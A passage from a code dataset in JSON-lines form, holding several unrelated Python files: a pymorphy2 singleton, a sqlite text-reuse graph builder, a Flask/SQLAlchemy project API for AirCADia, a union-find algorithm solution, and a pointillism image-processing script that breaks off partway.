saved_path)\n","repo_name":"GaoxiangLi/VCF_Exercise","sub_path":"vcfsort.py","file_name":"vcfsort.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18602426191","text":"import pymorphy2\n\n\nclass Singleton(object):\n\n    \"\"\"\n    Класс для выдачи единственного экземпляра анализатора слов\n\n    \"\"\"\n\n    __instance = None\n\n    def __init__(self):\n        if not Singleton.__instance:\n            print('Class has been initialized')\n        else:\n            print(\"Instance already created:\", self.get_instance())\n\n    @classmethod\n    def get_instance(cls):\n        if not cls.__instance:\n            cls.__instance = pymorphy2.MorphAnalyzer()\n        return cls.__instance\n","repo_name":"Dope-Bass/GrammarAnalyzer","sub_path":"singletonMorph.py","file_name":"singletonMorph.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37337840415","text":"#!/bin/env python\n# -*- coding: utf-8 -*-\n#\n\n__author__ = 'Jean-Gabriel Ganascia'\n\nimport sqlite3\nimport time\n\n\nclass noeud:  # permet d'énumérer les noeuds du graphe\n    def __init__(self):\n        self.val = 0\n        self.tempsIni = time.clock()\n        self.pasNbreNoeud = 10000\n\n    def nouvelleValeur(self):\n        self.val += 1\n        if divmod(self.val, self.pasNbreNoeud)[1] == 0:\n            self.temps = time.clock()\n            print(\"Nombre noeuds du graphe: \" + str(self.val) + \"; temps de construction du graphe pour les \" + str(\n                self.pasNbreNoeud) + \" derniers noeuds: \" + format(self.temps - self.tempsIni, 'f') + \" sec.\")\n            self.tempsIni = self.temps\n        return self.val\n\n    def valeur(self):\n        return self.val\n\n\ndef construction_graphe(project_path):\n    \"\"\"\n    Fonction qui va construire le Graphe\n    \"\"\"\n    t1 = time.clock()\n    connexion = sqlite3.connect(project_path + '/BDs/galaxie.db', 1, 0, 'EXCLUSIVE')\n    cursor = connexion.cursor()\n    n = noeud()\n    cursor.execute('''SELECT rowid FROM livres''')\n    idReference = cursor.fetchone()  # permet de prendre le premier\n    while idReference != None:  # On va parcourir toute notre TABLE livres\n        fusion_sources_cibles(idReference, connexion, n)\n        idReference = cursor.fetchone()\n    cursor.execute('''INSERT INTO maxNoeud values (?)''', (n.val,))\n    connexion.commit()\n    connexion.close()\n    t2 = time.clock()\n    print(\"Temps de construction du graphe: \" + format(t2 - t1, 'f') + \" sec.\")\n    return n.val\n\n\ndef fusion_sources_cibles(idRef, c, n):\n    \"\"\"\n\n    idRef : l'id d'une des lignes du tableau qui est de la forme (n,)\n    c : un pipe qui est connecté a notre BD\n    n : la class Noeud qui permet de compter les noeuds de notre graphe\n    \"\"\"\n\n    curseurSource = c.cursor()  # On creer deux curseur\n    curseurCible = c.cursor()\n    curseurSource.execute('''SELECT ordonneeSource, empanSource, rowid FROM grapheReutilisations WHERE idRefSource = \n                        ?''', idRef)\n    curseurCible.execute('''SELECT ordonneeCible, empanCible, rowid FROM grapheReutilisations WHERE idRefCible = ?''',\n                         idRef)\n\n    listeReutilisationSource = curseurSource.fetchall()\n    listeReutilisationCible = curseurCible.fetchall()\n    listeReutilisationMarquee = marquage(listeReutilisationCible, 'cible') + listeReutilisationSource\n    listeReutilisationMarquee.sort()\n    R = fusion(listeReutilisationMarquee, n)\n\n    if R:\n        n.nouvelleValeur()\n    for X in R:\n        if X[-2] > 0:\n            ajoutSource(X, curseurSource)\n        elif X[-2] < 0:\n            ajoutCible(X, curseurCible)\n        else:\n            print(\"Attention, erreur fusion sur noeud \" + str(n.val) + \" avec X=\" + str(X))\n\n\ndef marquage(L, M):\n    R = []\n    for X in L:\n        if M == 'cible':\n            R.append((X[0], X[1], -X[2]))\n        else:\n            R.append(X)\n    return R\n\n\ndef fusion(L, n):\n    if L is []:\n        return []\n    elif len(L) == 1:\n        return [[L[0][0], L[0][1], L[0][2], n.val]]\n    else:\n        Tete = L[0]\n        Suivant = L[1]\n        return fusion_aux(Tete, Suivant, L[2:], n, [])\n\n\ndef fusion_aux(Tete, Suivant, Entree, Noeud, Resultat):\n    R = Resultat\n    E = Entree\n    T = Tete\n    S = Suivant\n    while len(E) >= 1:\n        if T[0] + T[1] >= S[0]:\n            NReutilisation = [T[0], max(T[1], S[1] - T[0] + S[0]), T[2], Noeud.val]\n            R = R + [NReutilisation]\n            T = [T[0], max(T[1], S[1] - T[0] + S[0]), S[2]]\n            S = E[0]\n            E = E[1:]\n        else:\n            NReutilisation = [T[0], T[1], T[2], Noeud.val]\n            R = R + [NReutilisation]\n            T = S\n            S = E[0]\n            E = E[1:]\n            Noeud.nouvelleValeur()\n    else:\n        if T[0] + T[1] >= S[0]:\n            NReutilisation = [T[0], max(T[1], S[1] - T[0] + S[0]), T[2], Noeud.val]\n            R = R + [NReutilisation]\n            T = [T[0], max(T[1], S[1] - T[0] + S[0]), S[2]]\n        else:\n            NReutilisation = [T[0], T[1], T[2], Noeud.val]\n            R = R + [NReutilisation]\n            T = S\n            Noeud.nouvelleValeur()\n\n    return R + [[T[0], T[1], T[2], Noeud.val]]\n\n\ndef ajoutSource(L, Curseur):\n    Curseur.execute('''INSERT INTO grapheGalaxiesSource values (?,?)''', (L[2], L[3],))\n\n\ndef ajoutCible(L, Curseur):\n    Curseur.execute('''INSERT INTO grapheGalaxiesCible values (?,?)''', (abs(L[2]), L[3],))\n\n\ndef sauvegarde_graphe(project_path):\n    connexion = sqlite3.connect(project_path + '/BDs/galaxie.db', 1, 0, 'EXCLUSIVE')\n    curseur_arc = connexion.cursor()\n    curseur_noeud = connexion.cursor()\n    curseur_graphe = connexion.cursor()\n    curseur_arc.execute('''SELECT * FROM maxNoeud''')\n    maxNoeud = curseur_arc.fetchone()[0]\n    n = noeud()\n    while n.val < maxNoeud:\n        curseur_arc.execute('''SELECT idReutilisation FROM grapheGalaxiesSource WHERE idNoeud = (?)''', (n.val,))\n        reutilisation = curseur_arc.fetchone()\n        while reutilisation != None:\n            curseur_noeud.execute('''SELECT idNoeud FROM grapheGalaxiesCible WHERE idReutilisation = (?)''',\n                                  (reutilisation[0],))\n            nouveau_noeud = curseur_noeud.fetchone()\n            curseur_graphe.execute('''INSERT INTO grapheGalaxies values (?,?)''', (n.val, nouveau_noeud[0],))\n            reutilisation = curseur_arc.fetchone()\n        n.nouvelleValeur()\n    print(\"graphe sauvé\")\n    n = noeud()\n    while n.val < maxNoeud:\n        curseur_arc.execute('''SELECT idReutilisation FROM grapheGalaxiesCible WHERE idNoeud = (?)''', (n.val,))\n        reutilisation = curseur_arc.fetchone()\n        while reutilisation != None:\n            curseur_noeud.execute('''SELECT idNoeud FROM grapheGalaxiesSource WHERE idReutilisation = (?)''',\n                                  (reutilisation[0],))\n            nouveau_noeud = curseur_noeud.fetchone()\n            curseur_graphe.execute('''INSERT INTO grapheGalaxies values (?,?)''', (n.val, nouveau_noeud[0],))\n            reutilisation = curseur_arc.fetchone()\n        n.nouvelleValeur()\n    connexion.commit()\n    connexion.close()\n    print(\"graphe transposé sauvé\")\n","repo_name":"marc-treu/Galaxies2.0","sub_path":"Galaxies/src/grapheGalaxies.py","file_name":"grapheGalaxies.py","file_ext":"py","file_size_in_byte":6189,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10476194431","text":"from flask import Flask, jsonify, request, make_response\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_cors import CORS\n\nfrom datetime import datetime\n\nimport models\n\nfrom execute_models import execute_models_api\n\napp = Flask(__name__)\nCORS(app)\n\napp.register_blueprint(execute_models_api)\n\n\n\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///project_database.db'\ndb = SQLAlchemy(app)\n\n\n@app.route('/')\ndef index():\n    return \"Hello, World!\"\n\n\n@app.route('/aircadia')\ndef aaa():\n    return \"Hello, AirCADia!\"\n\n\n\n# @app.route('/aaa/<name>/<location>')\n# def createUser(name, location):\n#     user = User(name = name, location = location)\n#     db.session.add(user)\n#     db.session.commit()\n#     return '<h1>Added New User</h1>'\n\n\n# @app.route('/bbb/<name>')\n# def GetUser(name):\n#     user = User.query.filter_by(name = name).first()\n#     return f'<h1>The user is located in: {user.location}</h1>'\n\n# @app.route('/ccc/<name>')\n# def delete_user(name):\n#     user = User.query.filter_by(name = name).first()\n#     db.session.delete(user)\n#     db.session.commit()\n#     return f'<h1>The user is located in: {user.location}</h1>'\n\n@app.route('/create-project', methods=[\"POST\"])\ndef create_project():\n    if request.is_json:\n        req_json = request.get_json()\n        key = req_json.get(\"key\")\n        value = req_json[\"value\"]\n        \n        \n        data = ProjectSetting(key=key, value=value)\n        db.session.add(data)\n        db.session.commit()\n\n        response_body = {\"Result\": \"Data Created\"}\n        res = make_response(jsonify(response_body), 200)\n        return res\n    else:\n        return make_response(jsonify({\"message\": \"Request body must be JSON\"}), 400)\n\n@app.route('/get-project', methods=[\"GET\"])\ndef get_project():\n    project = {}\n\n    # project settings\n    projectSettings = ProjectSetting.query.all()\n    for projectSetting in projectSettings:\n        key = projectSetting.key\n        value = projectSetting.value\n        if key == \"name\":\n            project[\"name\"] = value\n        if key == \"endPoint\":\n            project[\"endPoint\"] = value\n\n    # data\n    dataList = []\n    dataVariables = DataVariable.query.all()\n    for dataVariable in dataVariables:\n        data = {\n            \"name\": dataVariable.name,\n            \"category\": dataVariable.category,\n            \"description\": dataVariable.description,\n            \"type\": dataVariable.type,\n            \"value\": dataVariable.value,\n            \"unit\": dataVariable.unit,\n            \"minValue\": dataVariable.minValue,\n            \"maxValue\": dataVariable.maxValue,\n        }\n        dataList.append(data)\n        print(dataVariable)\n    project[\"data\"] = dataList\n\n    # models\n    modelsList = []\n    models = ComputationalModel.query.all()\n    for computationalModel in models:\n        model = {}\n        model[\"name\"] = computationalModel.name\n        model[\"category\"] = computationalModel.category\n        model[\"description\"] = computationalModel.description\n        model[\"endPoint\"] = computationalModel.endPoint\n        modelInputs = []\n        for input in computationalModel.inputs:\n            modelInputs.append({\"name\": input.name})\n        model[\"inputs\"] = modelInputs\n        modelOutputs = []\n        for output in computationalModel.outputs:\n            modelOutputs.append({\"name\": output.name})\n        model[\"outputs\"] = modelOutputs\n        print(len(computationalModel.inputs))\n        print(len(computationalModel.inputs))\n        modelsList.append(model)\n    project[\"models\"] = modelsList\n\n    # workflows\n    workflowsList = []\n    workflows = ComputationalWorkflow.query.all()\n    for computationalWorkflow in workflows:\n        workflow = {}\n        workflow[\"name\"] = computationalWorkflow.name\n        workflow[\"category\"] = computationalWorkflow.category\n        workflow[\"description\"] = computationalWorkflow.description\n\n        # data objects\n        dataObjects = []\n        for input in computationalWorkflow.inputs:\n            for data in dataList:\n                if data[\"name\"] == input.name:\n                    dataObjects.append(data)\n                    break\n        for output in computationalWorkflow.outputs:\n            for data in dataList:\n                if data[\"name\"] == output.name:\n                    dataObjects.append(data)\n                    break\n        workflow[\"data\"] = dataObjects\n\n        # inputs\n        modelInputs = []\n        for input in computationalWorkflow.inputs:\n            modelInputs.append({\"name\": input.name})\n        workflow[\"inputs\"] = modelInputs\n\n        # outputs\n        modelOutputs = []\n        for output in computationalWorkflow.outputs:\n            modelOutputs.append({\"name\": output.name})\n        workflow[\"outputs\"] = modelOutputs\n\n        \n\n        executableComponents = []\n        for executableComponent in computationalWorkflow.executable_components:\n            model = {}\n            model[\"name\"] = executableComponent.name\n            model[\"category\"] = executableComponent.category\n            model[\"description\"] = executableComponent.description\n            model[\"endPoint\"] = executableComponent.endPoint\n            modelInputs = []\n            for input in executableComponent.inputs:\n                modelInputs.append({\"name\": input.name})\n            model[\"inputs\"] = modelInputs\n            modelOutputs = []\n            for output in executableComponent.outputs:\n                modelOutputs.append({\"name\": output.name})\n            model[\"outputs\"] = modelOutputs\n            executableComponents.append(model)\n        workflow[\"executableComponents\"] = executableComponents\n\n        scheduledComponents = []\n        for scheduledComponent in computationalWorkflow.scheduled_components:\n            model = {}\n            model[\"name\"] = scheduledComponent.name\n            model[\"category\"] = scheduledComponent.category\n            model[\"description\"] = scheduledComponent.description\n            model[\"endPoint\"] = scheduledComponent.endPoint\n            modelInputs = []\n            for input in scheduledComponent.inputs:\n                modelInputs.append({\"name\": input.name})\n            model[\"inputs\"] = modelInputs\n            modelOutputs = []\n            for output in scheduledComponent.outputs:\n                modelOutputs.append({\"name\": output.name})\n            model[\"outputs\"] = modelOutputs\n            scheduledComponents.append(model)\n        workflow[\"scheduledComponents\"] = scheduledComponents\n        workflowsList.append(workflow)\n    project[\"workflows\"] = workflowsList\n\n    # studies\n    \n    res = make_response(jsonify(project), 200)\n    return res\n    \n\n\n@app.route('/create-data', methods=[\"POST\"])\ndef create_data():\n    if request.is_json:\n        req_json = request.get_json()\n        \n        # create data for the given json\n        _create_data(req_json)\n\n        response_body = {\"Result\": \"Data Created\"}\n        res = make_response(jsonify(response_body), 200)\n        return res\n    else:\n        return make_response(jsonify({\"message\": \"Request body must be JSON\"}), 400)\n@app.route('/create-dataObjects', methods=[\"POST\"])\ndef create_dataObjects():\n    if request.is_json:\n        req_json = request.get_json()\n        \n        for dataJson in req_json:\n            # create data for the given json\n            _create_data(dataJson)\n\n        response_body = {\"Result\": \"Data Created\"}\n        res = make_response(jsonify(response_body), 200)\n        return res\n    else:\n        return make_response(jsonify({\"message\": \"Request body must be JSON\"}), 400)\ndef _create_data(data_json):\n    name = data_json.get(\"name\")\n    category = data_json.get(\"category\")\n    description = data_json.get(\"description\")\n    type = data_json[\"type\"]\n    value = data_json[\"value\"]\n    unit = data_json[\"unit\"]\n    minValue = data_json[\"minValue\"]\n    maxValue = data_json[\"maxValue\"]\n    \n    # create database entry for \"data variable\" \n    data = DataVariable(name=name, category=category, description=description, type=type, value=value, unit=unit, minValue=minValue, maxValue=maxValue)\n    db.session.add(data)\n    db.session.commit()\n\n@app.route('/delete-data', methods=[\"POST\"])\ndef delete_data():\n    if request.is_json:\n        req_json = request.get_json()\n        name = req_json.get(\"name\")\n        category = req_json.get(\"category\")\n        description = req_json.get(\"description\")\n        type = req_json[\"type\"]\n        value = req_json[\"value\"]\n        unit = req_json[\"unit\"]\n        minValue = req_json[\"minValue\"]\n        maxValue = req_json[\"maxValue\"]\n        \n        # create database entry for \"data variable\"\n        DataVariable.query.filter_by(name = name).delete()\n        # data = DataVariable(name=name, category=category, description=description, type=type, value=value, unit=unit, minValue=minValue, maxValue=maxValue)\n        # db.session.delete(data)\n        db.session.commit()\n\n        response_body = {\"Result\": \"Data Deleted\"}\n        res = make_response(jsonify(response_body), 200)\n        return res\n    else:\n        return make_response(jsonify({\"message\": \"Request body must be JSON\"}), 400)\n\n@app.route('/create-model', methods=[\"POST\"])\ndef create_model():\n    if request.is_json:\n        req_json = request.get_json()\n\n        _create_model(req_json)\n\n        response_body = {\"Result\": \"Model Created\"}\n        res = make_response(jsonify(response_body), 200)\n        return res\n    else:\n        return make_response(jsonify({\"error\": \"Request body must be JSON\"}), 400)\ndef _create_model(model_json):\n    name = model_json.get(\"name\")\n    category = model_json.get(\"category\")\n    description = model_json.get(\"description\")\n    endPoint = model_json[\"endPoint\"]\n    inputs = model_json[\"inputs\"]\n    outputs = model_json[\"outputs\"]\n    \n    # create database entry for \"computational model\"\n    model = ComputationalModel(name=name, category=category, description=description, endPoint=endPoint)\n    for i in range(0, len(inputs)):\n        dataVariable = DataVariable.query.filter_by(name = inputs[i][\"name\"]).first()\n        if dataVariable is None:\n            return make_response(jsonify({\"error\": \"Data variable '\" + inputs[i][\"name\"] + \"' not Present\"}), 400)\n        model.inputs.append(dataVariable)\n    for i in range(0, len(outputs)):\n        dataVariable = DataVariable.query.filter_by(name = outputs[i][\"name\"]).first()\n        if dataVariable is None:\n            return make_response(jsonify({\"error\": \"Data variable '\" + outputs[i][\"name\"] + \"' not Present\"}), 400)\n        model.outputs.append(dataVariable)\n    db.session.add(model)\n    db.session.commit()\n\n@app.route('/create-workflow', methods=[\"POST\"])\ndef create_workflow():\n    if request.is_json:\n        print('Atifee')\n        req_json = request.get_json()\n        name = req_json.get(\"name\")\n        category = req_json.get(\"category\")\n        description = req_json.get(\"description\")\n        workflow_data_json = req_json[\"data\"]\n        inputs = req_json[\"inputs\"]\n        outputs = req_json[\"outputs\"]\n        executable_components = req_json[\"executableComponents\"]\n        scheduled_components = req_json[\"scheduledComponents\"]\n        print('Atif')\n        # create database entry for \"computational workflow\"\n\n        workflow = ComputationalWorkflow(name=name, category=category, description=description)\n        \n        for i in range(0, len(inputs)):\n            dataVariable = DataVariable.query.filter_by(name = inputs[i][\"name\"]).first()\n            if dataVariable is None:\n                return make_response(jsonify({\"error\": \"Data variable '\" + inputs[i][\"name\"] + \"' not Present\"}), 400)\n            workflow.inputs.append(dataVariable)\n        for i in range(0, len(outputs)):\n            dataVariable = DataVariable.query.filter_by(name = outputs[i][\"name\"]).first()\n            if dataVariable is None:\n                return make_response(jsonify({\"error\": \"Data variable '\" + outputs[i][\"name\"] + \"' not Present\"}), 400)\n            workflow.outputs.append(dataVariable)\n        for i in range(0, len(executable_components)):\n            computationalModel = ComputationalModel.query.filter_by(name = executable_components[i][\"name\"]).first()\n            if computationalModel is None:\n                return make_response(jsonify({\"error\": \"Computational Model '\" + executable_components[i][\"name\"] + \"' not Present\"}), 400)\n            workflow.executable_components.append(computationalModel)\n\n        db.session.add(workflow)\n        print(workflow)\n        db.session.commit()\n\n        response_body = {\"Result\": \"Workflow Created\"}\n        res = make_response(jsonify(response_body), 200)\n        return res\n    else:\n        return make_response(jsonify({\"error\": \"Request body must be JSON\"}), 400)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# class User(db.Model):\n#     id = db.Column(db.Integer, primary_key = True)\n#     name = db.Column(db.String(50))\n#     location = db.Column(db.String(50))\n#     #date_created = db.Column(db.DateTime, dafault = datetime.now)\n\n\n\n# Table for storing project attributes\nclass ProjectSetting(db.Model):\n    __tablename__ = 'ProjectSettings'\n    id = db.Column(db.Integer, primary_key = True)\n    key = db.Column(db.String(50))\n    value = db.Column(db.String(50))\n\nclass DataVariable(db.Model):\n    __tablename__ = 'DataVariables'\n    id = db.Column(db.Integer, primary_key = True)\n    name = db.Column(db.String(50))\n    category = db.Column(db.String(50))\n    description = db.Column(db.String(50))\n    type = db.Column(db.String(50))\n    value = db.Column(db.String(50))\n    unit = db.Column(db.String(50))\n    minValue = db.Column(db.String(50))\n    maxValue = db.Column(db.String(50))\n    #date_created = db.Column(db.DateTime, dafault = datetime.now)\n    #ComputationalModels = db.relationship(\"ComputationalModel\", secondary=\"ModelInputs\")\n\n\nclass ComputationalModel(db.Model):\n    __tablename__ = 'ComputationalModels'\n    id = db.Column(db.Integer, primary_key = True)\n    name = db.Column(db.String(50))\n    category = db.Column(db.String(50))\n    description = db.Column(db.String(50))\n    endPoint = db.Column(db.String(50))\n    #location = db.Column(db.String(50))\n    #date_created = db.Column(db.DateTime, dafault = datetime.now)\n    #inputs = db.relationship('Data', backref='owner')\n    inputs = db.relationship(\"DataVariable\", secondary=\"ModelInputs\")\n    outputs = db.relationship(\"DataVariable\", secondary=\"ModelOutputs\")\n\n\nclass ModelInput(db.Model):\n    __tablename__ = 'ModelInputs'\n    id = db.Column(db.Integer, primary_key=True)\n    model_id = db.Column(db.Integer, db.ForeignKey('ComputationalModels.id'))\n    data_id = db.Column(db.Integer, db.ForeignKey('DataVariables.id'))\n    model = db.relationship(ComputationalModel, backref=db.backref(\"ModelInputs\", cascade=\"all, delete-orphan\"))\n    data = db.relationship(DataVariable, backref=db.backref(\"ModelInputs\", cascade=\"all, delete-orphan\"))\n\n\nclass ModelOutput(db.Model):\n    __tablename__ = 'ModelOutputs'\n    id = db.Column(db.Integer, primary_key=True)\n    model_id = db.Column(db.Integer, db.ForeignKey('ComputationalModels.id'))\n    data_id = db.Column(db.Integer, db.ForeignKey('DataVariables.id'))\n    model = db.relationship(ComputationalModel, backref=db.backref(\"ModelOutputs\", cascade=\"all, delete-orphan\"))\n    data = db.relationship(DataVariable, backref=db.backref(\"ModelOutputs\", cascade=\"all, delete-orphan\"))\n\n\nclass ComputationalWorkflow(db.Model):\n    __tablename__ = 'ComputationalWorkflows'\n    id = db.Column(db.Integer, primary_key = True)\n    name = db.Column(db.String(50))\n    category = db.Column(db.String(50))\n    description = db.Column(db.String(500))\n    #location = db.Column(db.String(50))\n    #date_created = db.Column(db.DateTime, dafault = datetime.now)\n    # inputs = db.Column(db.String(5000))\n    # outputs = db.Column(db.String(5000))\n    inputs = db.relationship(\"DataVariable\", secondary=\"WorkflowInputs\")\n    outputs = db.relationship(\"DataVariable\", secondary=\"WorkflowOutputs\")\n    executable_components = db.relationship(\"ComputationalModel\", secondary=\"WorkflowExecutableComponents\")\n    scheduled_components = db.relationship(\"ComputationalModel\", secondary=\"WorkflowScheduledComponents\")\n\n\nclass WorkflowInput(db.Model):\n    __tablename__ = 'WorkflowInputs'\n    id = db.Column(db.Integer, primary_key=True)\n    workflow_id = db.Column(db.Integer, db.ForeignKey('ComputationalWorkflows.id'))\n    data_id = db.Column(db.Integer, db.ForeignKey('DataVariables.id'))\n    workflow = db.relationship(ComputationalWorkflow, backref=db.backref(\"WorkflowInputs\", cascade=\"all, delete-orphan\"))\n    data = db.relationship(DataVariable, backref=db.backref(\"WorkflowInputs\", cascade=\"all, delete-orphan\"))\n\n\nclass WorkflowOutput(db.Model):\n    __tablename__ = 'WorkflowOutputs'\n    id = db.Column(db.Integer, primary_key=True)\n    workflow_id = db.Column(db.Integer, db.ForeignKey('ComputationalWorkflows.id'))\n    data_id = db.Column(db.Integer, db.ForeignKey('DataVariables.id'))\n    workflow = db.relationship(ComputationalWorkflow, backref=db.backref(\"WorkflowOutputs\", cascade=\"all, delete-orphan\"))\n    data = db.relationship(DataVariable, backref=db.backref(\"WorkflowOutputs\", cascade=\"all, delete-orphan\"))\n\n\nclass WorkflowExecutableComponent(db.Model):\n    __tablename__ = 'WorkflowExecutableComponents'\n    id = db.Column(db.Integer, primary_key=True)\n    workflow_id = db.Column(db.Integer, db.ForeignKey('ComputationalWorkflows.id'))\n    model_id = db.Column(db.Integer, db.ForeignKey('ComputationalModels.id'))\n    workflow = db.relationship(ComputationalWorkflow, backref=db.backref(\"WorkflowExecutableComponents\", cascade=\"all, delete-orphan\"))\n    model = db.relationship(ComputationalModel, backref=db.backref(\"WorkflowExecutableComponents\", cascade=\"all, delete-orphan\"))\n\nclass WorkflowScheduledComponent(db.Model):\n    __tablename__ = 'WorkflowScheduledComponents'\n    id = db.Column(db.Integer, primary_key=True)\n    workflow_id = db.Column(db.Integer, db.ForeignKey('ComputationalWorkflows.id'))\n    model_id = db.Column(db.Integer, db.ForeignKey('ComputationalModels.id'))\n    workflow = db.relationship(ComputationalWorkflow, backref=db.backref(\"WorkflowScheduledComponents\", cascade=\"all, delete-orphan\"))\n    model = db.relationship(ComputationalModel, backref=db.backref(\"WorkflowScheduledComponents\", cascade=\"all, delete-orphan\"))\n\nif __name__ == '__main__':\n    app.run(debug=True, port=3002)","repo_name":"Atif-Aerospace/WindTurbine","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":18457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21860080658","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nn, m = map(int, input().split())\r\n\r\nempire_to_idx = {}\r\nidx_to_empire = {}\r\nfor i in range(n):\r\n    emp_name = input().strip()\r\n    \r\n    empire_to_idx[emp_name] = i\r\n    idx_to_empire[i] = emp_name\r\n\r\ndef find(x):\r\n    if parents[x] == x:\r\n        return x\r\n    \r\n    parents[x] = find(parents[x])\r\n    return parents[x]\r\n\r\n# 두 왕국이 싸운 후 속국을 이룸\r\ndef union(x, y, w):\r\n    px, py = find(x), find(y)\r\n\r\n    # 문제 조건 상 두 나라는 종주국 - 속국 / 종주국 - 종주국 관계임\r\n    # 만일 종주국 - 속국 관계라면, 속국의 parents 정보는 자기 자신이 아니라 종주국일 것\r\n    # 즉, px와 py가 같은 경우임\r\n\r\n    # x 왕국이 승리 -> y의 종주국은 x\r\n    if w == '1':\r\n        if px == py and px != x:\r\n            parents[x] = x\r\n            px = x\r\n        parents[py] = px\r\n    \r\n    # y 왕국이 승리 -> x의 종주국은 y\r\n    else:\r\n        if px == py and py != y:\r\n            parents[y] = y\r\n            py = y\r\n        parents[px] = py\r\n    \r\nparents = [i for i in range(n)]\r\n\r\nfor _ in range(m):\r\n    emp_name_1, emp_name_2, w = input().strip().split(',')\r\n    emp_idx_1 = empire_to_idx[emp_name_1]\r\n    emp_idx_2 = empire_to_idx[emp_name_2]    \r\n    \r\n    union(emp_idx_1, emp_idx_2, w)\r\n    \r\n    for i in range(n):\r\n        find(i)\r\n\r\nnot_dependency_list = []\r\n# 전쟁 결과 종주국 리스트\r\n# 국가 번호 -> 국가 이름으로 append\r\nfor idx, emp_no in enumerate(parents):\r\n    if idx == emp_no:\r\n        not_dependency_list.append(idx_to_empire[emp_no])\r\n        \r\n# ascii 기준 종주국 정렬\r\nnot_dependency_list.sort(key=lambda x: x.split()[-1])\r\n\r\nprint(len(not_dependency_list))\r\nfor emp in not_dependency_list:\r\n    print(emp)","repo_name":"KimChanw/Python_Algorithm","sub_path":"백준/Gold/16402. 제국/제국.py","file_name":"제국.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41864249428","text":"\"\"\"\nHarsha Puvvada\nCSC 481 Final Project\nConverts digital image to Pointillistic Image\nFunctions are on top and main method is at the bottom of script\nDependencies: vectorField.py\n\"\"\"\n\nimport math,random,cv2, scipy, bisect, progressbar, colorsys\nimport numpy as np\nfrom sklearn.cluster import KMeans\nimport matplotlib.pyplot as plt\nfrom vectorField import vectorField\n\n\n#functions used/main script at bottom\ndef limitSize(img, ratio):\n    '''Downsamples image based on given ratio'''\n    if ratio == 1:\n        return img\n    else:\n        height, width, depth = img.shape\n        shape = (int(width * ratio), int(height * ratio))\n        return cv2.resize(img, shape, interpolation=cv2.INTER_AREA)\n\ndef paletteGenerator(img, colors):\n    '''Finds the dominant colors using Kmeans Clustering given image and number of colors'''\n    #convert from bgr to rgb\n    img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n    #reshape to list of pixels\n    img = img.reshape((img.shape[0] * img.shape[1], 3))\n    kmeans = KMeans(n_clusters = colors)\n    out = kmeans.fit(img)\n    return out.cluster_centers_\n\ndef showPalette(palette, paletteSize, name):\n    '''Displays the cluster centers as colors and saves it into file'''\n    cols = paletteSize\n    rows = int(math.ceil(len(palette) / cols))\n    res = np.zeros((rows * 80, cols * 80, 3), dtype=np.uint8)\n    for y in range(rows):\n        for x in range(cols):\n            if y * cols + x < len(palette):\n                color = [int(c) for c in palette  [y * cols + x]]\n                cv2.rectangle(res, (x * 80, y * 80), (x * 80 + 80, y * 80 + 80), color, -1)\n    fig = plt.figure()\n    plt.axis(\"off\")\n    plt.imshow(res)\n    \n    if name == 'boosted':\n        plt.title('Boosted color palette')\n        fig.savefig('./output/boostedPaletteColors.jpg')\n    else:\n        plt.title('Original color palette')\n        fig.savefig('./output/originalPaletteColors.jpg')\n    return res\n\ndef boostColors(palette):\n    '''boosts colors in palette'''\n    boostedPalette = []\n    for item in palette:\n        b = item[0]; g = item[1]; r = item[2]\n        h,s,v = colorsys.rgb_to_hsv(r,g,b)\n        #increase hue, saturation and brightness\n#        h = h * 1.2\n        s = s * 1.2\n        v = v * 1.4\n        newr,newg,newb = colorsys.hsv_to_rgb(h,s,v)\n        boostedPalette.append([newr,newg,newb])\n    return np.asarray(boostedPalette, dtype=np.float64)\n\n\ndef randomized_grid(h, w, scale):\n    '''creates a randomized grid on which to paint. This is the canvas'''\n    assert (scale > 0)\n    r = scale//2\n    grid = []\n    for i in range(0, h, scale):\n        for j in range(0, w, scale):\n            y = random.randint(-r, r) + i\n            x = random.randint(-r, r) + j\n\n            grid.append((y % h, x % w))\n\n    random.shuffle(grid)\n    return grid\n\ndef compute_color_probabilities(pixels, palette, k=9):\n    '''compute the probabilities of the colors in grid'''\n    distances = scipy.spatial.distance.cdist(pixels, palette)\n    maxima = np.amax(distances, axis=1)\n\n    distances = maxima[:, None] - distances\n    summ = np.sum(distances, 1)\n    distances /= summ[:, None]\n\n    distances = np.exp(k*len(palette)*distances)\n    summ = np.sum(distances, 1)\n    distances /= summ[:, None]\n\n    return np.cumsum(distances, axis=1, dtype=np.float32)\n\ndef color_select(probabilities, palette):\n    '''picks the nearest color that is most similar to original image'''\n    r = random.uniform(0, 1)\n    i = bisect.bisect_left(probabilities, r)\n    return palette[i] if i < len(palette) else palette[-1]\n\n######################  Main Method ########################################\n\n###read in image\nimg = cv2.imread(\"./images/image3.jpg\")\n\n#### Step 1: Downsample Image\n#downsample by 0.5 of image to speed up Kmeans\nratio = 0.2\nshrunkImg = limitSize(img, ratio)\n#Save Shrunk Image\ncv2.imwrite('./output/shrunkImage.jpg', shrunkImg)\n\n\n### Step 2: Compute color palette using Kmeans\npaletteSize = 20\npalette = paletteGenerator(shrunkImg, paletteSize)\noriginalPaletteColors = showPalette(palette, paletteSize, 'original')\n\n\n### Step 3: Boost color saturation by converting from rgb to hsv and then increasing saturation\nboosted = boostColors(palette)\n\n### Step 4: Get vector field of image using Scharr Image derivative\n#convert image to grayscale to compute image gradient \ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\ngradient = vectorField.from_gradient(gray)\n\n\n### Step 5: Smooth vector field using Gaussian 